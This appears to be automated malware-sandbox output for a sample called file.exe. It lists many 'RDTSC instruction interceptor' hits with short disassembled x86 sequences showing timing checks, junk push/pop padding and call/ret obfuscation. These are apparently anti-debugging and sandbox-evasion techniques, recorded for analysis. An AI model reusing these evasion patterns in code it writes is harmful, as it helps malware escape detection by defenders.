Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5CEF second address: DF5CF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5CF5 second address: DF5CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5CF9 second address: DF5D1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jmp 00007F0F91376D5Ch 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF7134 second address: DF713A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF713A second address: DF713E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF86B3 second address: DF86B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF83B9 second address: DF83BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF83BD second address: DF83C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF918A second address: DF91DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007F0F91376D58h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 jmp 00007F0F91376D5Bh 0x00000026 mov esi, dword ptr [ebp+122D3414h] 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D1BB8h], edx 0x00000034 push 00000000h 0x00000036 mov dword ptr [ebp+1245318Fh], edi 0x0000003c push eax 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF91DB second address: DF91DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA34A second address: DAA35A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F0F91376D56h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFB26A second address: DFB273 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE93C second address: DFE95E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007F0F91376D56h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F0F91376D5Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE95E second address: DFE9C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0F90B9EDF3h 0x00000008 jmp 00007F0F90B9EDF3h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 movsx ebx, si 0x00000016 mov di, 527Dh 0x0000001a push 00000000h 0x0000001c mov ebx, dword ptr [ebp+12457EA5h] 0x00000022 jmp 00007F0F90B9EDF6h 0x00000027 push eax 0x00000028 pushad 0x00000029 jo 00007F0F90B9EDE8h 0x0000002f pushad 0x00000030 popad 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE9C0 second address: DFE9C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFFB35 second address: DFFB47 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0F90B9EDE8h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E00C70 second address: E00C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFFB47 second address: DFFB4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04A3F second address: E04A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02C41 second address: E02C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E02C45 second address: E02CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F0F91376D58h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 push dword ptr fs:[00000000h] 0x00000029 mov ebx, dword ptr [ebp+122D35D4h] 0x0000002f mov dword ptr fs:[00000000h], esp 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007F0F91376D58h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 mov eax, dword ptr [ebp+122D01E5h] 0x00000056 mov ebx, dword ptr [ebp+122D3530h] 0x0000005c call 00007F0F91376D61h 0x00000061 add ebx, dword ptr [ebp+122D1991h] 0x00000067 pop ebx 0x00000068 push FFFFFFFFh 0x0000006a jp 00007F0F91376D5Ah 0x00000070 mov bx, FCF7h 0x00000074 nop 0x00000075 push edi 0x00000076 push eax 0x00000077 push edx 0x00000078 pushad 0x00000079 popad 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0506F second address: E05073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D01F second address: E0D080 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F0F91376D65h 0x0000000d nop 0x0000000e mov ebx, dword ptr [ebp+122D34C0h] 0x00000014 push 00000000h 0x00000016 mov bl, F6h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007F0F91376D58h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F0F91376D61h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C0CA second address: E0C0CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D080 second address: E0D08A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F0F91376D56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C0CE second address: E0C0DB instructions: 0x00000000 rdtsc 0x00000002 je 00007F0F90B9EDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0D1B9 second address: E0D238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 nop 0x00000006 mov dword ptr [ebp+122D2281h], edx 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007F0F91376D58h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d add ebx, 0F0144EBh 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a mov ebx, dword ptr [ebp+122D1DADh] 0x00000040 mov eax, dword ptr [ebp+122D0079h] 0x00000046 push 00000000h 0x00000048 push eax 0x00000049 call 00007F0F91376D58h 0x0000004e pop eax 0x0000004f mov dword ptr [esp+04h], eax 0x00000053 add dword ptr [esp+04h], 0000001Bh 0x0000005b inc eax 0x0000005c push eax 0x0000005d ret 0x0000005e pop eax 0x0000005f ret 0x00000060 push FFFFFFFFh 0x00000062 mov dword ptr [ebp+122D181Bh], eax 0x00000068 mov edi, esi 0x0000006a nop 0x0000006b pushad 0x0000006c je 00007F0F91376D5Ch 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0E30A second address: E0E30F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E121B8 second address: E121BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E121BC second address: E121C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18A45 second address: E18A49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1811C second address: E1812C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0F90B9EDE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1812C second address: E1814C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0F91376D56h 0x00000008 jmp 00007F0F91376D61h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop esi 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1814C second address: E1818C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F90B9EDF6h 0x00000009 jmp 00007F0F90B9EDF7h 0x0000000e jg 00007F0F90B9EDE6h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jp 00007F0F90B9EDE6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1818C second address: E18190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E182D3 second address: E182DD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0F90B9EDECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18428 second address: E1842E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1842E second address: E18437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E185B9 second address: E185C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C85C second address: E1C866 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F0F90B9EDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C866 second address: E1C883 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jno 00007F0F91376D5Ah 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C883 second address: E1C887 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C887 second address: E1C891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C891 second address: E1C895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C895 second address: E1C8B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F91376D66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C8B9 second address: E1C8BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C9DF second address: E1C9EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E90B second address: E1E90F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E90F second address: E1E928 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F0F91376D61h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E928 second address: E1E92E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E24D4A second address: E24D5D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop edx 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E23F8B second address: E23F91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2425E second address: E2426F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F91376D5Ch 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2426F second address: E2427A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F0F90B9EDE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E24718 second address: E2471E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E248B9 second address: E248C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E248C2 second address: E248C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E248C6 second address: E248EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0F90B9EDF8h 0x0000000b popad 0x0000000c push eax 0x0000000d jc 00007F0F90B9EDECh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E248EE second address: E248F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E248F6 second address: E248FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2A674 second address: E2A67C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2A67C second address: E2A690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pushad 0x0000000c jp 00007F0F90B9EDE6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB430B second address: DB430F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29538 second address: E2954A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2954A second address: E2954E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2954E second address: E29561 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDEFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29561 second address: E29582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0F91376D67h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E296F1 second address: E296F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E296F9 second address: E29712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F0F91376D56h 0x0000000d jmp 00007F0F91376D5Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29712 second address: E29728 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2911F second address: E29125 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29125 second address: E29133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 ja 00007F0F90B9EDE6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29133 second address: E29140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F0F91376D62h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29140 second address: E29156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0F90B9EDE6h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jo 00007F0F90B9EDE6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29156 second address: E29171 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0F91376D56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F0F91376D5Eh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29E59 second address: E29E7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0F90B9EDF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop edi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29FD1 second address: E29FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0F91376D64h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E29FED second address: E29FF8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnp 00007F0F90B9EDE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD752 second address: DAD76A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0F91376D5Dh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD76A second address: DAD76E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2DB43 second address: E2DB49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2DB49 second address: E2DB4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2DB4D second address: E2DB51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2DB51 second address: E2DB5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2DB5C second address: E2DB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0F91376D65h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1D41 second address: DF1D52 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0F90B9EDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1D52 second address: DF1D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF21F1 second address: DF21F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
